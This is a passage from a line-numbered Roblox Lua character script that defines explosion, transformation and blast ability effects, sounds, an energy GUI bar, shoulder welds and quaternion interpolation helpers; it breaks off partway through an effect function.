  1341. plodez.SoundId = "rbxassetid://288641686"
  1342. plodez.Volume = 1
  1343. plodez.Pitch = 0.75
  1344. plodez.Looped = false
  1345. plodez:Play()
  1346. local plodeza = Instance.new("Sound",workspace)
  1347. plodeza.SoundId = "rbxassetid://197161452"
  1348. plodeza.Volume = 0.85
  1349. plodeza.Pitch = 0.65
  1350. plodeza.Looped = false
  1351. plodeza:Play()
  1352. local plodezar = Instance.new("Sound",workspace)
  1353. plodezar.SoundId = "rbxassetid://197161452"
  1354. plodezar.Volume = 0.85
  1355. plodezar.Pitch = 0.25
  1356. plodezar.Looped = false
  1357. plodezar:Play()
  1358. expld.BlastRadius = rad
  1359. expld.Position = par.Position
  1360. partMesh.Scale = vt(rad,rad,rad)
  1361. expart.Size = vt(1,1,1)*1.5
  1362. expart.Transparency = 0
  1363. expart.Anchored = true
  1364. expart.Material = "Neon"
  1365. expart.BrickColor = bc("Bright red")
  1366. expart.CFrame = par.CFrame
  1367. partMesh2.Scale = vt(rad,rad,rad)
  1368. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1369. expart2.Transparency = 0.5
  1370. expart2.Anchored = true
  1371. expart2.Material = "Neon"
  1372. expart2.BrickColor = tors.BrickColor
  1373. expart2.CFrame = par.CFrame
  1374. local value = 1*rad/10
  1375. par:Destroy()
  1376. for i = 0, 300 do
  1377. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1378. expart.CFrame = expart.CFrame
  1379. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1380. expart2.CFrame = expart.CFrame
  1381. value = value - 0.0175*rad/10
  1382. if value <= 0 then
  1383. expart.Transparency = expart.Transparency + 0.0125
  1384. expart2.Transparency = expart2.Transparency + 0.0125
  1385. value = 0.25
  1386. end
  1387. wait()
  1388. end
  1389. plode.Parent = nil
  1390. expart.Parent = nil
  1391. expart2.Parent = nil
  1392. expld.Parent = nil
  1393. end
  1394. local Ultramode = false
  1395.  
  1396. function Transform()
  1397. if basiccooldown >= 5 then
  1398. hum.WalkSpeed = 0
  1399. local sparta = Instance.new("Part",workspace)
  1400. local msher = Instance.new("SpecialMesh",sparta)
  1401. msher.MeshType = "Sphere"
  1402. msher.Scale = vt(1,1,1)
  1403. wit = BrickColor.new("Really black").Color
  1404. local glowz = Instance.new("ParticleEmitter")
  1405. glowz.LightEmission = 1
  1406. glowz.Parent = sparta
  1407. glowz.Texture = "rbxassetid://284205403"
  1408. glowz.Color = ColorSequence.new(wit)
  1409. glowz.Size = NumberSequence.new(15)
  1410. glowz.Speed = NumberRange.new(100,250)
  1411. glowz.LockedToPart = false
  1412. glowz.Transparency = NumberSequence.new(0.75)
  1413. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1414. glowz.Lifetime = NumberRange.new(1)
  1415. glowz.Rate = 50000
  1416. glowz.VelocitySpread = 9001
  1417. local sa2 = Instance.new("Sound",sparta)
  1418. sa2.SoundId = "rbxassetid://93724183"
  1419. sa2.Pitch = 0.5
  1420. sa2.Volume = 5
  1421. sa2.Looped = false
  1422. sa2:Play()
  1423. local saz2 = Instance.new("Sound",sparta)
  1424. saz2.SoundId = "rbxassetid://199145659"
  1425. saz2.Pitch = 0.45
  1426. saz2.Volume = 5*2
  1427. saz2.Looped = false
  1428. local plode = Instance.new("Sound",sparta)
  1429. plode.SoundId = "rbxassetid://153274423"
  1430. plode.Volume = 5
  1431. plode.Pitch = 1
  1432. plode.Looped = false
  1433. local ploder = Instance.new("Sound",sparta)
  1434. ploder.SoundId = "rbxassetid://130972023"
  1435. ploder.Volume = 5
  1436. ploder.Pitch = 1
  1437. ploder.Looped = false
  1438. sparta.Size = vt(1,1,1)
  1439. sparta.BrickColor = BrickColor.new("Really black")
  1440. sparta.Material = "Neon"
  1441. sparta.Transparency = 0
  1442. sparta.Anchored = true
  1443. sparta.CanCollide = false
  1444. sparta.CFrame = tors.CFrame
  1445. sparta.Rotation = vt(0,0,0)
  1446. local value2 = 2
  1447. for i = 0, 24 do
  1448. value2 = value2 - 0.065
  1449. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1450. wait()
  1451. end
  1452. for i = 0, 10 do
  1453. value2 = value2 + 0.06575
  1454. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1455. wait()
  1456. end
  1457. for i = 0, 10 do
  1458. value2 = value2 - 0.2
  1459. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1460. wait()
  1461. end
  1462. for i = 0, 10 do
  1463. value2 = value2 + 0.275
  1464. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1465. wait()
  1466. end
  1467. for i = 0, 10 do
  1468. value2 = value2 - 0.4
  1469. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1470. wait()
  1471. end
  1472. for i = 0, 10 do
  1473. value2 = value2 + 0.475
  1474. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1475. wait()
  1476. end
  1477. for i = 0, 10 do
  1478. value2 = value2 - 0.6
  1479. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1480. wait()
  1481. end
  1482. for i = 0, 10 do
  1483. value2 = value2 + 0.675
  1484. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1485. wait()
  1486. end
  1487. for i = 0, 10 do
  1488. value2 = value2 - 0.7
  1489. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1490. wait()
  1491. end
  1492. for i = 0, 10 do
  1493. value2 = value2 + 0.775
  1494. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1495. wait()
  1496. end
  1497. saz2:Play()
  1498. wait(2.75)
  1499. plode:Play()
  1500. ploder:Play()
  1501. Ultramode = true
  1502. for i = 0, 75 do
  1503. value2 = value2 - 0.0575
  1504. glowz.Rate = 0
  1505. sparta.Transparency = sparta.Transparency + 0.025
  1506. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1507. wait()
  1508. end
  1509. hum.WalkSpeed = 16
  1510. sparta:Destroy()
  1511. end
  1512. end
  1513.  
  1514.  
  1515. function Blaze2()
  1516. if ultcooldown >= 30 then
  1517. local sloc = Instance.new("Part",workspace)
  1518. local msh = Instance.new("SpecialMesh",sloc)
  1519. msh.MeshType = "Sphere"
  1520. sloc.Size = vt(1,1,1)
  1521. sloc.Transparency = 1
  1522. sloc.BrickColor = tors.BrickColor
  1523. sloc.Position = hed.Position + vt(0,0.1,0)
  1524. sloc.CanCollide = false
  1525. sloc.Shape = "Ball"
  1526. sloc.Anchored = true
  1527. sloc.Material = "Neon"
  1528. local s = Instance.new("Sound",char)
  1529. s.SoundId = "rbxassetid://289315275"
  1530. s.Pitch = 1
  1531. s.Volume = 2.75
  1532. s.Looped = false
  1533. s:Play()
  1534. local s2 = Instance.new("Sound",char)
  1535. s2.SoundId = "rbxassetid://671759140"
  1536. s2.Pitch = 0.425
  1537. s2.Volume = 1
  1538. s2.Looped = false
  1539. s2:Play()
  1540. local val = 0.65*5
  1541. for i = 0 , 75 do
  1542. sloc.Transparency = sloc.Transparency - 0.035
  1543. msh.Scale = msh.Scale + vt(val,val,val)
  1544. val = val - 0.0075*5
  1545. wait()
  1546. end
  1547. wait(2)
  1548. local sen = Instance.new("Sound",char)
  1549. sen.SoundId = "rbxassetid://289315275"
  1550. sen.Pitch = 1
  1551. sen.Volume = 2.75
  1552. sen.Looped = false
  1553. sen:Play()
  1554. local tick = Instance.new("Sound",char)
  1555. tick.SoundId = "rbxassetid://446876721"
  1556. tick.Volume = 2.5
  1557. tick.Pitch = 0.5
  1558. tick:Play()
  1559. msh.Scale = msh.Scale - vt(1,1,1)
  1560. sloc.Transparency = sloc.Transparency + 0.015
  1561. local spart = Instance.new("Part",workspace)
  1562. local msh2 = Instance.new("SpecialMesh",spart)
  1563. msh2.MeshType = "Sphere"
  1564. spart.Size = vt(2,2,2)
  1565. spart.Shape = "Ball"
  1566. spart.BrickColor = tors.BrickColor
  1567. spart.Material = "Neon"
  1568. spart.Transparency = 0
  1569. spart.Anchored = false
  1570. msh2.Scale = msh.Scale/2
  1571. spart.Rotation = hed.Rotation
  1572. spart.CanCollide = false
  1573. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1574. local bv = Instance.new("BodyVelocity")
  1575. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1576. bv.velocity = mouse.Hit.lookVector * 125
  1577. bv.Parent = spart
  1578. sloc:Destroy()
  1579. wait(0.00001)
  1580. pewdiepie=spart.Touched:connect(function(hit)
  1581. ExplodeMassen(100,spart)
  1582. end)
  1583. wait(5)
  1584. sloc:Destroy()
  1585. tick:Destroy()
  1586. s:Destroy()
  1587. sen:Destroy()
  1588. s2:Destroy()
  1589. end
  1590. if ultcooldown < 1 then
  1591. for i = 0, 29 do
  1592. ultcooldown = ultcooldown + 1
  1593. wait(1)
  1594. end
  1595. end
  1596. end
  1597.  
  1598. function Blaze()
  1599. if ultcooldown >= 30 then
  1600. local ff = Instance.new("ForceField",char)
  1601. local s = Instance.new("Sound",char)
  1602. s.SoundId = "rbxassetid://289315275"
  1603. s.Pitch = 1
  1604. s.Volume = 2.75
  1605. s.Looped = false
  1606. s:Play()
  1607. local s2 = Instance.new("Sound",char)
  1608. s2.SoundId = "rbxassetid://671759140"
  1609. s2.Pitch = 0.425
  1610. s2.Volume = 1
  1611. s2.Looped = false
  1612. s2:Play()
  1613. local spart = boll:Clone()
  1614. local spart2 = shur:Clone()
  1615. local msh = Instance.new("SpecialMesh",spart)
  1616. msh.MeshType = "Sphere"
  1617. spart.Parent = workspace
  1618. spart.Transparency = 1
  1619. spart.Anchored = true
  1620. spart.Position = tors.Position + vt(0,1,0)
  1621. spart.Size = spart.Size + vt(1,1,1)
  1622. for i = 0, 10 do
  1623. spart.BrickColor = tors.BrickColor
  1624. spart.Transparency = spart.Transparency + -0.05
  1625. spart.Position = tors.Position + vt(0,1,0)
  1626. spart.Size = spart.Size + vt(3,3,3)
  1627. wait(0)
  1628. end
  1629. for i = 0, 5 do
  1630. spart.BrickColor = tors.BrickColor
  1631. spart.Transparency = spart.Transparency + -0.05
  1632. spart.Position = tors.Position + vt(0,1,0)
  1633. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1634. wait(0)
  1635. end
  1636. for i = 0, 5 do
  1637. spart.BrickColor = tors.BrickColor
  1638. spart.Transparency = spart.Transparency + -0.05
  1639. spart.Position = tors.Position + vt(0,1,0)
  1640. spart.Size = spart.Size + vt(1,1,1)
  1641. wait(0)
  1642. end
  1643. for i = 0, 10 do
  1644. spart.BrickColor = tors.BrickColor
  1645. wait(0.1)
  1646. end
  1647. for i = 0, 20 do
  1648. spart.BrickColor = tors.BrickColor
  1649. spart.Transparency = spart.Transparency + 0.05
  1650. spart.Position = tors.Position + vt(0,1,0)
  1651. spart.Size = spart.Size + vt(-5,-5,-5)
  1652. wait(0)
  1653. end
  1654. local sp = spart:Clone()
  1655. sp.Parent = workspace
  1656. sp.Position = spart.Position
  1657. local sp2 = sp:Clone()
  1658. sp2.Parent = workspace
  1659. sp2.Transparency = 0.5
  1660. local msh2 = sp2.Mesh
  1661. msh2.Scale = vt(1250,1250,1250)
  1662. wit = tors.BrickColor.Color
  1663. local glowz = Instance.new("ParticleEmitter")
  1664. glowz.LightEmission = 0.75
  1665. glowz.Parent = sp2
  1666. glowz.Texture = "rbxassetid://284205403"
  1667. glowz.Color = ColorSequence.new(wit)
  1668. glowz.Size = NumberSequence.new(50)
  1669. glowz.Speed = NumberRange.new(425,450)
  1670. glowz.LockedToPart = false
  1671. glowz.Transparency = NumberSequence.new(0.75)
  1672. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1673. glowz.Lifetime = NumberRange.new(1)
  1674. glowz.Rate = 50000
  1675. glowz.VelocitySpread = 9001
  1676. spart2.Parent = workspace
  1677. spart2.Mesh.Scale = vt(25, 90000, 25)
  1678. spart2.Position = tors.Position
  1679. local seen = Instance.new("Sound",char)
  1680. seen.SoundId = "rbxassetid://445796828"
  1681. seen.Pitch = 0.75
  1682. seen.Volume = 1.75
  1683. seen.Looped = true
  1684. seen:Play()
  1685. local sen = Instance.new("Sound",char)
  1686. sen.SoundId = "rbxassetid://289315275"
  1687. sen.Pitch = 0.98
  1688. sen.Volume = 2.65
  1689. sen.Looped = false
  1690. sen:Play()
  1691. local tick = Instance.new("Sound",char)
  1692. tick.SoundId = "rbxassetid://446876721"
  1693. tick.Volume = 5
  1694. tick.Pitch = 0.5
  1695. tick:Play()
  1696. local seena = Instance.new("Sound",char)
  1697. seena.SoundId = "rbxassetid://300916057"
  1698. seena.Pitch = 0.5
  1699. seena.Volume = 2.5
  1700. seena.Looped = false
  1701. seena:Play()
  1702. spart.Transparency = 0
  1703. ExplodeMass(1000,sp)
  1704. for i = 0, 450 do
  1705. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1706. sp2.Position = spart.Position
  1707. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1708. spart2.BrickColor = tors.BrickColor
  1709. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1710. msh.Scale = msh.Scale + vt(50,50,50)
  1711. sp2.Transparency = sp2.Transparency + 0.0005
  1712. spart.Transparency = spart.Transparency + 0.0025
  1713. spart2.Transparency = spart2.Transparency + 0.0025
  1714. wait(0)
  1715. end
  1716. spart:Destroy()
  1717. seena:Destroy()
  1718. ff:Destroy()
  1719. seen:Destroy()
  1720. sen:Destroy()
  1721. tick:Destroy()
  1722. spart2:Destroy()
  1723. s:Destroy()
  1724. sp:Destroy()
  1725. sp2:Destroy()
  1726. s2:Destroy()
  1727. end
  1728. if ultcooldown < 1 then
  1729. for i = 0, 29 do
  1730. ultcooldown = ultcooldown + 1
  1731. wait(1)
  1732. end
  1733. end
  1734. end
  1735.  
  1736. -- sin
  1737. Player=game:GetService("Players").LocalPlayer
  1738. Character=Player.Character
  1739. PlayerGui=Player.PlayerGui
  1740. Backpack=Player.Backpack
  1741. Torso=Character.Torso
  1742. Head=Character.Head
  1743. Humanoid=Character.Humanoid
  1744. m=Instance.new('Model',Character)
  1745. LeftArm=Character["Left Arm"]
  1746. LeftLeg=Character["Left Leg"]
  1747. RightArm=Character["Right Arm"]
  1748. RightLeg=Character["Right Leg"]
  1749. LS=Torso["Left Shoulder"]
  1750. LH=Torso["Left Hip"]
  1751. RS=Torso["Right Shoulder"]
  1752. RH=Torso["Right Hip"]
  1753. Face = Head.face
  1754. Neck=Torso.Neck
  1755. it=Instance.new
  1756. attacktype=1
  1757. vt=Vector3.new
  1758. cf=CFrame.new
  1759. euler=CFrame.fromEulerAnglesXYZ
  1760. angles=CFrame.Angles
  1761. cloaked=false
  1762. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1763. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1764. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1765. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1766. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1767. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1768. RootPart=Character.HumanoidRootPart
  1769. RootJoint=RootPart.RootJoint
  1770. RootCF=euler(-1.57,0,3.14)
  1771. attack = false
  1772. attackdebounce = false
  1773. deb=false
  1774. equipped=true
  1775. hand=false
  1776. MMouse=nil
  1777. combo=0
  1778. mana=0
  1779. trispeed=1
  1780. pathtrans=.7
  1781. attackmode='none'
  1782. local idle=0
  1783. local Anim="Idle"
  1784. local Effects={}
  1785. local gun=false
  1786. local shoot=false
  1787. player=nil
  1788. cloak=false
  1789. lightcolor='Bright red'
  1790.  
  1791. local Color1=BrickColor.new("Bright red")
  1792.  
  1793. local fengui=it("GuiMain")
  1794. fengui.Parent=Player.PlayerGui
  1795. fengui.Name="WeaponGUI"
  1796. local fenframe=it("Frame")
  1797. fenframe.Parent=fengui
  1798. fenframe.BackgroundColor3=Color3.new(1,0,0)
  1799. fenframe.BackgroundTransparency=1
  1800. fenframe.BorderColor3=Color3.new(1,0,0)
  1801. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1802. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1803. local fenbarmana1=it("TextLabel")
  1804. fenbarmana1.Parent=fenframe
  1805. fenbarmana1.Text=" "
  1806. fenbarmana1.BackgroundTransparency=0
  1807. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1808. fenbarmana1.SizeConstraint="RelativeXY"
  1809. fenbarmana1.TextXAlignment="Center"
  1810. fenbarmana1.TextYAlignment="Center"
  1811. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1812. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1813. local fenbarmana2=it("TextLabel")
  1814. fenbarmana2.Parent=fenframe
  1815. fenbarmana2.Text=" "
  1816. fenbarmana2.BackgroundTransparency=0
  1817. fenbarmana2.BackgroundColor3=Torso.Color
  1818. fenbarmana2.SizeConstraint="RelativeXY"
  1819. fenbarmana2.TextXAlignment="Center"
  1820. fenbarmana2.TextYAlignment="Center"
  1821. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1822. fenbarmana2.Size=UDim2.new(4*mana/200,0,0.2,0)
  1823. local fenbarmana3=it("TextLabel")
  1824. fenbarmana3.Parent=fenframe
  1825. fenbarmana3.Text=" "
  1826. fenbarmana3.BackgroundTransparency=0
  1827. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1828. fenbarmana3.SizeConstraint="RelativeXY"
  1829. fenbarmana3.TextXAlignment="Center"
  1830. fenbarmana3.TextYAlignment="Center"
  1831. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1832. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1833. local fenbarmana4=it("TextLabel")
  1834. fenbarmana4.Parent=fenframe
  1835. fenbarmana4.Text="Energy("..mana..")"
  1836. fenbarmana4.BackgroundTransparency=1
  1837. fenbarmana4.BackgroundColor3=Color3.new(1,0,0)
  1838. fenbarmana4.SizeConstraint="RelativeXY"
  1839. fenbarmana4.TextXAlignment="Center"
  1840. fenbarmana4.TextYAlignment="Center"
  1841. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1842. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1843. fenbarmana4.FontSize="Size9"
  1844. fenbarmana4.TextStrokeTransparency=0
  1845. fenbarmana4.TextColor=BrickColor.new("Bright red")
  1846.  
  1847. mouse=Player:GetMouse()
  1848. --save shoulders
  1849. RSH, LSH=nil, nil
  1850. --welds
  1851. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1852. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1853. LH=Torso["Left Hip"]
  1854. RH=Torso["Right Hip"]
  1855. TorsoColor=BrickColor.new("Bright red")
  1856. function NoOutline(Part)
  1857. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1858. end
  1859. player=Player
  1860. ch=Character
  1861. RSH=ch.Torso["Right Shoulder"]
  1862. LSH=ch.Torso["Left Shoulder"]
  1863. --
  1864. RSH.Parent=nil
  1865. LSH.Parent=nil
  1866. --
  1867. RW.Name="Right Shoulder"
  1868. RW.Part0=ch.Torso
  1869. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1870. RW.C1=cf(0, 0.5, 0)
  1871. RW.Part1=ch["Right Arm"]
  1872. RW.Parent=ch.Torso
  1873. --
  1874. LW.Name="Left Shoulder"
  1875. LW.Part0=ch.Torso
  1876. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1877. LW.C1=cf(0, 0.5, 0)
  1878. LW.Part1=ch["Left Arm"]
  1879. LW.Parent=ch.Torso
  1880.  
  1881.  
  1882. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1883. local fp=it("Part")
  1884. fp.formFactor=formfactor
  1885. fp.Parent=parent
  1886. fp.Reflectance=reflectance
  1887. fp.Transparency=transparency
  1888. fp.CanCollide=false
  1889. fp.Locked=true
  1890. fp.BrickColor=brickcolor
  1891. fp.Name=name
  1892. fp.Size=size
  1893. fp.Position=Torso.Position
  1894. NoOutline(fp)
  1895. fp.Material="Neon"
  1896. fp:BreakJoints()
  1897. return fp
  1898. end
  1899.  
  1900. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1901. local mesh=it(Mesh)
  1902. mesh.Parent=part
  1903. if Mesh=="SpecialMesh" then
  1904. mesh.MeshType=meshtype
  1905. if meshid~="nil" then
  1906. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1907. end
  1908. end
  1909. mesh.Offset=offset
  1910. mesh.Scale=scale
  1911. return mesh
  1912. end
  1913.  
  1914. function weld(parent,part0,part1,c0)
  1915. local weld=it("Weld")
  1916. weld.Parent=parent
  1917. weld.Part0=part0
  1918. weld.Part1=part1
  1919. weld.C0=c0
  1920. return weld
  1921. end
  1922.  
  1923. local Color1=BrickColor.new("Bright red")
  1924.  
  1925. local bodvel=Instance.new("BodyVelocity")
  1926. local bg=Instance.new("BodyGyro")
  1927.  
  1928. function swait(num)
  1929. if num==0 or num==nil then
  1930. game:service'RunService'.Stepped:wait(0)
  1931. else
  1932. for i=0,num do
  1933. game:service'RunService'.Stepped:wait(0)
  1934. end
  1935. end
  1936. end
  1937.  
  1938.  
  1939. so = function(id,par,vol,pit)
  1940. coroutine.resume(coroutine.create(function()
  1941. local sou = Instance.new("Sound",par or workspace)
  1942. sou.Volume=vol
  1943. sou.Pitch=pit or 1
  1944. sou.SoundId=id
  1945. swait()
  1946. sou:play()
  1947. game:GetService("Debris"):AddItem(sou,6)
  1948. end))
  1949. end
  1950.  
  1951. function clerp(a,b,t)
  1952. local qa = {QuaternionFromCFrame(a)}
  1953. local qb = {QuaternionFromCFrame(b)}
  1954. local ax, ay, az = a.x, a.y, a.z
  1955. local bx, by, bz = b.x, b.y, b.z
  1956. local _t = 1-t
  1957. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1958. end
  1959.  
  1960. function QuaternionFromCFrame(cf)
  1961. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1962. local trace = m00 + m11 + m22
  1963. if trace > 0 then
  1964. local s = math.sqrt(1 + trace)
  1965. local recip = 0.5/s
  1966. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1967. else
  1968. local i = 0
  1969. if m11 > m00 then
  1970. i = 1
  1971. end
  1972. if m22 > (i == 0 and m00 or m11) then
  1973. i = 2
  1974. end
  1975. if i == 0 then
  1976. local s = math.sqrt(m00-m11-m22+1)
  1977. local recip = 0.5/s
  1978. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1979. elseif i == 1 then
  1980. local s = math.sqrt(m11-m22-m00+1)
  1981. local recip = 0.5/s
  1982. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1983. elseif i == 2 then
  1984. local s = math.sqrt(m22-m00-m11+1)
  1985. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1986. end
  1987. end
  1988. end
  1989.  
  1990. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1991. local xs, ys, zs = x + x, y + y, z + z
  1992. local wx, wy, wz = w*xs, w*ys, w*zs
  1993. local xx = x*xs
  1994. local xy = x*ys
  1995. local xz = x*zs
  1996. local yy = y*ys
  1997. local yz = y*zs
  1998. local zz = z*zs
  1999. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  2000. end
  2001.  
  2002. function QuaternionSlerp(a, b, t)
  2003. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  2004. local startInterp, finishInterp;
  2005. if cosTheta >= 0.0001 then
  2006. if (1 - cosTheta) > 0.0001 then
  2007. local theta = math.acos(cosTheta)
  2008. local invSinTheta = 1/math.sin(theta)
  2009. startInterp = math.sin((1-t)*theta)*invSinTheta
  2010. finishInterp = math.sin(t*theta)*invSinTheta
  2011. else
  2012. startInterp = 1-t
  2013. finishInterp = t
  2014. end
  2015. else
  2016. if (1+cosTheta) > 0.0001 then
  2017. local theta = math.acos(-cosTheta)
  2018. local invSinTheta = 1/math.sin(theta)
  2019. startInterp = math.sin((t-1)*theta)*invSinTheta
  2020. finishInterp = math.sin(t*theta)*invSinTheta
  2021. else
  2022. startInterp = t-1
  2023. finishInterp = t
  2024. end
  2025. end
  2026. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  2027. end
  2028.  
  2029. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  2030. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  2031. end
  2032.  
  2033. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  2034. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(1,0,0))
  2035. prt.Anchored=true
  2036. prt.CFrame=cframe
  2037. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2038. --http://www.roblox.com/asset/?id=4770560
  2039. game:GetService("Debris"):AddItem(prt,2)
  2040. CF=prt.CFrame
  2041. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2042. for i=0,1,0.2 do
  2043. wait()
  2044. Part.CFrame=CF*cf(0,0,-0.4)
  2045. end
  2046. for i=0,1,delay do
  2047. wait()
  2048. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2049. Mesh.Scale=Mesh.Scale
  2050. end
  2051. for i=0,1,0.1 do
  2052. wait()
  2053. Part.Transparency=i
  2054. end
  2055. Part.Parent=nil
  2056. end),prt,msh,CF)
  2057. end
  2058.  
  2059. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2060. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2061. prt.Anchored=true
  2062. prt.CFrame=cframe
  2063. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2064. game:GetService("Debris"):AddItem(prt,5)
  2065. coroutine.resume(coroutine.create(function(Part,Mesh)
  2066. for i=0,1,delay do
  2067. wait()
  2068. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2069. Part.Transparency=i
  2070. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2071. end
  2072. Part.Parent=nil
  2073. end),prt,msh)
  2074. end
  2075.  
  2076. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2077. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2078. prt.Anchored=false
  2079. prt.CFrame=cframe
  2080. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2081. local wld=weld(prt,prt,Parent,cframe)
  2082. game:GetService("Debris"):AddItem(prt,5)
  2083. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2084. for i=0,1,delay do
  2085. wait()
  2086. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2087. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2088. Part.Transparency=i
  2089. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2090. end
  2091. Part.Parent=nil
  2092. end),prt,msh,wld)
  2093. end
  2094.  
  2095. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2096. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2097. prt.Anchored=false
  2098. prt.CFrame=cframe
  2099. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2100. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2101. game:GetService("Debris"):AddItem(prt,5)
  2102. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2103. for i=0,1,delay do
  2104. wait()
  2105. Weld.C0=euler(i*20,0,0)
  2106. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2107. Part.Transparency=i
  2108. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2109. end
  2110. Part.Parent=nil
  2111. end),prt,msh,wld)
  2112. end
  2113.  
  2114. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2115. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2116. prt.Anchored=true
  2117. prt.CFrame=cframe
  2118. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2119. game:GetService("Debris"):AddItem(prt,2)
  2120. coroutine.resume(coroutine.create(function(Part,Mesh)
  2121. for i=0,1,delay do
  2122. wait()
  2123. Part.CFrame=Part.CFrame
  2124. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2125. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2126. prt2.Anchored=true
